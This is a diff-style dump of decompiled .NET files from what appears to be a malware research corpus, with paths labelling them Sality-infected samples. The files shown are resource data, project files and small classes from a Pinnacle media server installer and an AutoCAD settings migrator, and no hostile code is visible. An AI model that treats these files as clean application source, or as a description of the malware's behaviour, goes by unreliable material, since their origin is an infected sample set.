+  <data name="$this.SnapToGrid" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs=</value>
+  </data>
+  <data name="$this.TrayLargeIcon" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs=</value>
+  </data>
+  <data name="$this.Name" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>CE1haW5Gb3Jt</value>
+  </data>
+  <data name="$this.DefaultModifiers" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL</value>
+  </data>
+  <data name="$this.Locked" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs=</value>
+  </data>
+  <data name="$this.DrawGrid" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs=</value>
+  </data>
+  <data name="groupBox.Locked" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs=</value>
+  </data>
+  <data name="groupBox.GridSize" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAMAgAAAFRTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0xLjAuNTAwMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAAgAAAAIAAAACw==</value>
+  </data>
+  <data name="$this.Localizable" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs=</value>
+  </data>
+  <data name="$this.Language" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAEAQAAACBTeXN0ZW0uR2xvYmFsaXphdGlvbi5DdWx0dXJlSW5mbwoAAAAGbV9uYW1lCm1fZGF0YUl0ZW0RbV91c2VVc2VyT3ZlcnJpZGUJY3VsdHVyZUlEDG1faXNSZWFkT25seQtjb21wYXJlSW5mbwh0ZXh0SW5mbwdudW1JbmZvDGRhdGVUaW1lSW5mbwhjYWxlbmRhcgEAAAAAAwMDAwMIAQgBIFN5c3RlbS5HbG9iYWxpemF0aW9uLkNvbXBhcmVJbmZvHVN5c3RlbS5HbG9iYWxpemF0aW9uLlRleHRJbmZvJVN5c3RlbS5HbG9iYWxpemF0aW9uLk51bWJlckZvcm1hdEluZm8nU3lzdGVtLkdsb2JhbGl6YXRpb24uRGF0ZVRpbWVGb3JtYXRJbmZvHVN5c3RlbS5HbG9iYWxpemF0aW9uLkNhbGVuZGFyCsoAAAAAfwAAAAEJAgAAAAkDAAAACQQAAAAKCgQCAAAAIFN5c3RlbS5HbG9iYWxpemF0aW9uLkNvbXBhcmVJbmZvAgAAAAl3aW4zMkxDSUQHY3VsdHVyZQAACAh/AAAAfwAAAAQDAAAAHVN5c3RlbS5HbG9iYWxpemF0aW9uLlRleHRJbmZvAwAAAAttX25EYXRhSXRlbRFtX3VzZVVzZXJPdmVycmlkZQ1tX3dpbjMyTGFuZ0lEAAAACAEIygAAAAB/AAAABAQAAAAlU3lzdGVtLkdsb2JhbGl6YXRpb24uTnVtYmVyRm9ybWF0SW5mbx8AAAAQbnVtYmVyR3JvdXBTaXplcxJjdXJyZW5jeUdyb3VwU2l6ZXMRcGVyY2VudEdyb3VwU2l6ZXMMcG9zaXRpdmVTaWduDG5lZ2F0aXZlU2lnbhZudW1iZXJEZWNpbWFsU2VwYXJhdG9yFG51bWJlckdyb3VwU2VwYXJhdG9yFmN1cnJlbmN5R3JvdXBTZXBhcmF0b3IYY3VycmVuY3lEZWNpbWFsU2VwYXJhdG9yDmN1cnJlbmN5U3ltYm9sEmFuc2lDdXJyZW5jeVN5bWJvbAluYW5TeW1ib2wWcG9zaXRpdmVJbmZpbml0eVN5bWJvbBZuZWdhdGl2ZUluZmluaXR5U3ltYm9sF3BlcmNlbnREZWNpbWFsU2VwYXJhdG9yFXBlcmNlbnRHcm91cFNlcGFyYXRvcg1wZXJjZW50U3ltYm9sDnBlck1pbGxlU3ltYm9sCm1fZGF0YUl0ZW0TbnVtYmVyRGVjaW1hbERpZ2l0cxVjdXJyZW5jeURlY2ltYWxEaWdpdHMXY3VycmVuY3lQb3NpdGl2ZVBhdHRlcm4XY3VycmVuY3lOZWdhdGl2ZVBhdHRlcm4VbnVtYmVyTmVnYXRpdmVQYXR0ZXJuFnBlcmNlbnRQb3NpdGl2ZVBhdHRlcm4WcGVyY2VudE5lZ2F0aXZlUGF0dGVybhRwZXJjZW50RGVjaW1hbERpZ2l0cwppc1JlYWRPbmx5EW1fdXNlVXNlck92ZXJyaWRlFXZhbGlkRm9yUGFyc2VBc051bWJlchd2YWxpZEZvclBhcnNlQXNDdXJyZW5jeQcHBwEBAQEBAQEBAQEBAQEBAQAAAAAAAAAAAAAAAAAICAgICAgICAgICAgBAQEBCQUAAAAJBgAAAAkFAAAABggAAAABKwYJAAAAAS0GCgAAAAEuBgsAAAABLAYMAAAAASwGDQAAAAEuBg4AAAACwqQKBg8AAAADTmFOBhAAAAAISW5maW5pdHkGEQAAAAktSW5maW5pdHkJCgAAAAkLAAAABhQAAAABJQYVAAAAA+KAsMoAAAACAAAAAgAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAgAAAAEAAQEPBQAAAAEAAAAIAwAAAA8GAAAAAQAAAAgDAAAACw==</value>
+  </data>
+  <data name="label.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL</value>
+  </data>
+  <data name="$this.GridSize" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAMAgAAAFRTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0xLjAuNTAwMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAAgAAAAIAAAACw==</value>
+  </data>
+  <data name="groupBox.DefaultModifiers" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL</value>
+  </data>
+  <data name="groupBox.SnapToGrid" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs=</value>
+  </data>
+  <data name="$this.TrayHeight" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>UAAAAA==</value>
+  </data>
+  <data name="groupBox.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL</value>
+  </data>
+  <data name="groupBox.DrawGrid" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs=</value>
+  </data>
+  <data name="label.Locked" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs=</value>
+  </data>
+  <data name="label.DefaultModifiers" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL</value>
+  </data>
+</root>

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/MediaServer/MyApplicationContext.cs

@@ -0,0 +1,18 @@
+// Decompiled with JetBrains decompiler
+// Type: PinnacleSys.MediaServer.MyApplicationContext
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+using System.Windows.Forms;
+
+namespace PinnacleSys.MediaServer
+{
+  internal class MyApplicationContext : ApplicationContext
+  {
+    internal MyApplicationContext(string[] args)
+    {
+      MainForm mainForm = new MainForm(args);
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/Virus.Win32.Sality.sil.csproj

@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{1FF1C4CA-7390-4347-B826-49B68E812360}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>PMSInstallInit</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="INetFwAuthorizedApplication.cs" />
+    <Compile Include="INetFwAuthorizedApplications.cs" />
+    <Compile Include="INetFwIcmpSettings.cs" />
+    <Compile Include="INetFwMgr.cs" />
+    <Compile Include="INetFwOpenPort.cs" />
+    <Compile Include="INetFwOpenPorts.cs" />
+    <Compile Include="INetFwPolicy.cs" />
+    <Compile Include="INetFwProfile.cs" />
+    <Compile Include="INetFwRemoteAdminSettings.cs" />
+    <Compile Include="INetFwService.cs" />
+    <Compile Include="INetFwServices.cs" />
+    <Compile Include="NET_FW_IP_PROTOCOL_.cs" />
+    <Compile Include="NET_FW_IP_VERSION_.cs" />
+    <Compile Include="NET_FW_PROFILE_TYPE_.cs" />
+    <Compile Include="NET_FW_SCOPE_.cs" />
+    <Compile Include="NET_FW_SERVICE_TYPE_.cs" />
+    <Compile Include="PinnacleSys\MediaServer\MainForm.cs" />
+    <Compile Include="PinnacleSys\MediaServer\MyApplicationContext.cs" />
+    <Compile Include="PinnacleSys\FirewallConfig\WinXPFirewall.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="PinnacleSys\MediaServer\MainForm.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/Virus.Win32.Sality.sil.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PMSInstallInit", "Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.csproj", "{1FF1C4CA-7390-4347-B826-49B68E812360}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{1FF1C4CA-7390-4347-B826-49B68E812360}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{1FF1C4CA-7390-4347-B826-49B68E812360}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{1FF1C4CA-7390-4347-B826-49B68E812360}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{1FF1C4CA-7390-4347-B826-49B68E812360}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ADMigratorResources.cs

@@ -0,0 +1,19 @@
+// Decompiled with JetBrains decompiler
+// Type: Autodesk.AutoCAD.ADMigrator.ADMigratorResources
+// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe
+
+using System.Resources;
+
+namespace Autodesk.AutoCAD.ADMigrator
+{
+  internal class ADMigratorResources
+  {
+    private ResourceManager m_RM;
+
+    public ADMigratorResources() => this.m_RM = new ResourceManager(typeof (ADMigratorResources));
+
+    public string GetString(string sKey) => this.m_RM.GetString(sKey);
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ADMigratorResources.resx

@@ -0,0 +1,330 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <data name="DEFAULT_EXPORT_FILENAME_BODY" xml:space="preserve">
+    <value>_cust_settings</value>
+  </data>
+  <data name="ERROR_ACAD_LINE" xml:space="preserve">
+    <value>Error encountered migrating {0}-defined line files ({1}).</value>
+  </data>
+  <data name="LOG_MENU_FILE_CHANGE" xml:space="preserve">
+    <value>Main CUI File set to "{0}"</value>
+  </data>
+  <data name="LOG_HATCH_USER_PAT" xml:space="preserve">
+    <value>user hatch pattern files</value>
+  </data>
+  <data name="MIGRATED_FILE_SUFFIX" xml:space="preserve">
+    <value>_Migrated</value>
+  </data>
+  <data name="NOTICE_PRODUCT_MUST_BE_RUN" xml:space="preserve">
+    <value>{0} must be launched at least once prior to running migration.</value>
+  </data>
+  <data name="NOTICE_WARNING" xml:space="preserve">
+    <value>WARNING</value>
+  </data>
+  <data name="EXPORT_SUCCESS" xml:space="preserve">
+    <value>Your migration package has been successfully saved to:
+{0}</value>
+  </data>
+  <data name="NO_LOG" xml:space="preserve">
+    <value>No Log file to view.</value>
+  </data>
+  <data name="ERROR_CUI_FILE_NOT_FOUND" xml:space="preserve">
+    <value>Error encountered migrating CUI file - {0} could not be found.</value>
+  </data>
+  <data name="SUCCESS_VIEW" xml:space="preserve">
+    <value>Profiles migrated successfully. Would you like to view the log file now?</value>
+  </data>
+  <data name="FAILED_VIEW" xml:space="preserve">
+    <value>Migrate user profiles failed ({0}).</value>
+  </data>
+  <data name="LOG_FINISHED_ERRORS" xml:space="preserve">
+    <value>Migration status:
+Migration finished on {0} with errors.</value>
+  </data>
+  <data name="ERROR_USER_LINE" xml:space="preserve">
+    <value>Error encountered migrating user-defined line files ({0}).</value>
+  </data>
+  <data name="WARNING_DIFFERENTCODEPAGE" xml:space="preserve">
+    <value>The language of the operating system that this file was created on is different from the current language setting. In some cases this can result in files getting restored to incorrect paths.</value>
+  </data>
+  <data name="ERROR_VIEW" xml:space="preserve">
+    <value>Errors were encountered during profile migration. Would you like to view the log file now?</value>
+  </data>
+  <data name="ERROR_RK_NF" xml:space="preserve">
+    <value>ERROR: identity.ini not found.</value>
+  </data>
+  <data name="EXPORT_FAILURE" xml:space="preserve">
+    <value>An error occured during the export process. Please try again.
+
+ERROR:{0}</value>
+  </data>
+  <data name="ERROR_UNKNOWN" xml:space="preserve">
+    <value>An unknown error occured during migration.</value>
+  </data>
+  <data name="LOG_USER_LIN_FILES" xml:space="preserve">
+    <value>user line pattern files</value>
+  </data>
+  <data name="ERROR_USERDATACACHE_NOT_FOUND" xml:space="preserve">
+    <value>Error locating UserDataCache folder.</value>
+  </data>
+  <data name="LOG_FINISHED_ERROR" xml:space="preserve">
+    <value>Migration status:
+Migration finished on {0} with errors.</value>
+  </data>
+  <data name="ZIP_FILEDIALOG_FILTERS" xml:space="preserve">
+    <value>Zip files (*.zip)|*.zip|All files (*.*)|*.*</value>
+  </data>
+  <data name="RENAMED_WORKSPACE_SUFFIX" xml:space="preserve">
+    <value>{0} - Migrated from {1}</value>
+  </data>
+  <data name="IMPORT_LOG_LOCATION" xml:space="preserve">
+    <value>A log file was saved to the following location: 
+{0}</value>
+  </data>
+  <data name="ERROR_NO_PREVIOUS" xml:space="preserve">
+    <value>Migrate Profiles requires that {0} 2000 or a later version be installed on your system.</value>
+  </data>
+  <data name="LOG_ICON_FILE_LOCATION" xml:space="preserve">
+    <value>Icon files will be copied to {0}.</value>
+  </data>
+  <data name="LOG_FILE_ALREADY_EXISTS" xml:space="preserve">
+    <value>The file {0} already exists in the target location and therefore was not copied.</value>
+  </data>
+  <data name="LOG_LINE_PATTERNS" xml:space="preserve">
+    <value> line patterns</value>
+  </data>
+  <data name="ERROR_USER_PATTERN" xml:space="preserve">
+    <value>Error encountered migrating user-defined hatch pattern files ({0}).</value>
+  </data>
+  <data name="INITIALSETUP_DIALOG_TITLE" xml:space="preserve">
+    <value>Initial Setup</value>
+  </data>
+  <data name="LOG_ITEMS_MIGRATED" xml:space="preserve">
+    <value>{0} {1} migrated from "{2}" to "{3}"</value>
+  </data>
+  <data name="Import_Launch_Message" xml:space="preserve">
+    <value>Before you import a migration package, you must have launched {0} at least one time.</value>
+  </data>
+  <data name="ERROR_IMPORT_TYPE" xml:space="preserve">
+    <value>This migration package is for:
+{0} ({2})
+It can only be imported to the same product version and language.</value>
+  </data>
+  <data name="LOG_LINE" xml:space="preserve">
+    <value>=======================================================</value>
+  </data>
+  <data name="LOG_FILE" xml:space="preserve">
+    <value>migration.log</value>
+  </data>
+  <data name="IMPORT_FAILURE" xml:space="preserve">
+    <value>Your migration package has been imported; however, there were errors during the import process.</value>
+  </data>
+  <data name="PGP_MIGRATED" xml:space="preserve">
+    <value>{0} Program Parameters from acad.pgp file migrated.</value>
+  </data>
+  <data name="INITIALSETUP_ERROR_NOT_INSTALLED" xml:space="preserve">
+    <value>The Initial Setup feature is not installed.</value>
+  </data>
+  <data name="LOG_FINISHED_OK" xml:space="preserve">
+    <value>Migration status:
+Migration finished on {0} with no errors.</value>
+  </data>
+  <data name="ERROR_INI_INVALID" xml:space="preserve">
+    <value>ERROR: identity.ini file format invalid.</value>
+  </data>
+  <data name="ERROR_ACAD_PATTERN" xml:space="preserve">
+    <value>Error encountered migrating {0}-defined hatch pattern files ({1}).</value>
+  </data>
+  <data name="NOTICE_ISRUNNING" xml:space="preserve">
+    <value>{0} is currently running. You must close this application prior to running Migrate Custom Settings.</value>
+  </data>
+  <data name="Export_Launch_Message" xml:space="preserve">
+    <value>Before you export a migration package, you must have launched {0} at least one time.</value>
+  </data>
+  <data name="ERROR_ACAD_VERTICAL" xml:space="preserve">
+    <value>Error encountered executing the vertical application's migration tasks.</value>
+  </data>
+  <data name="LOG_ICON_FILES_COPIED" xml:space="preserve">
+    <value>{0} icon files referenced in {1} were copied to your icons folder.</value>
+  </data>
+  <data name="LOG_HATCH_PATTERNS" xml:space="preserve">
+    <value> hatch patterns</value>
+  </data>
+  <data name="NOTICE_ISRUNNING_IMPORTEXPORT" xml:space="preserve">
+    <value>You cannot import/export a migration package while          
+{0} is still running.
+
+Please close {1} and try again.</value>
+  </data>
+  <data name="ERROR_FILE_ACCESS_DENIED" xml:space="preserve">
+    <value>Error: Access to the path {0} was denied.</value>
+  </data>
+  <data name="ERROR_PROFILE" xml:space="preserve">
+    <value>Error encountered migrating user profile settings ({0}).</value>
+  </data>
+  <data name="IMPORT_FILE" xml:space="preserve">
+    <value>Importing File: {0}</value>
+  </data>
+  <data name="EXPORT_SETTINGS_BODY" xml:space="preserve">
+    <value>You can export settings and files from your {0} installation to migrate to other computers.
+
+IMPORTANT: All migrated files will be replaced on the new system.</value>
+  </data>
+  <data name="ERROR_RK_INVALID" xml:space="preserve">
+    <value>Error: Resource key "{0}" is not correct format.</value>
+  </data>
+  <data name="ERROR_NOT_EXPORT_PACKAGE" xml:space="preserve">
+    <value>This file is not an {0} Migration Package.</value>
+  </data>
+  <data name="LOG_FOLDER" xml:space="preserve">
+    <value>Migration</value>
+  </data>
+  <data name="LOG_FILE_COPY" xml:space="preserve">
+    <value>File copied from "{0}" to "{1}"</value>
+  </data>
+  <data name="EXPORT_TITLE" xml:space="preserve">
+    <value>Export Custom Settings</value>
+  </data>
+  <data name="IMPORT_TITLE" xml:space="preserve">
+    <value>Import Custom Settings</value>
+  </data>
+  <data name="ERROR_ACAD_PGP" xml:space="preserve">
+    <value>Error encountered migrating {0}.pgp file ({1}).</value>
+  </data>
+  <data name="LOG_FILE_MERGE" xml:space="preserve">
+    <value>File "{0}" merged to "{1}"</value>
+  </data>
+  <data name="ERROR_FNF" xml:space="preserve">
+    <value>File "{0}" not found ({1}). Migrate user profiles failed.</value>
+  </data>
+  <data name="UI_TITLE" xml:space="preserve">
+    <value>Migrate Custom Settings</value>
+  </data>
+  <data name="ERROR_UNZIPPING_FILE" xml:space="preserve">
+    <value>There was an error importing the Migration Package.</value>
+  </data>
+  <data name="NOTICE_ALREADYRUN" xml:space="preserve">
+    <value>You have previously migrated settings to this {0} version. Migrating settings will overwrite your previous migration.
+Are you sure you want to migrate settings?</value>
+  </data>
+  <data name="LOG_ENTERPRISE_FILE_CHANGE" xml:space="preserve">
+    <value>Enterprise CUI File set to "{0}"</value>
+  </data>
+</root>

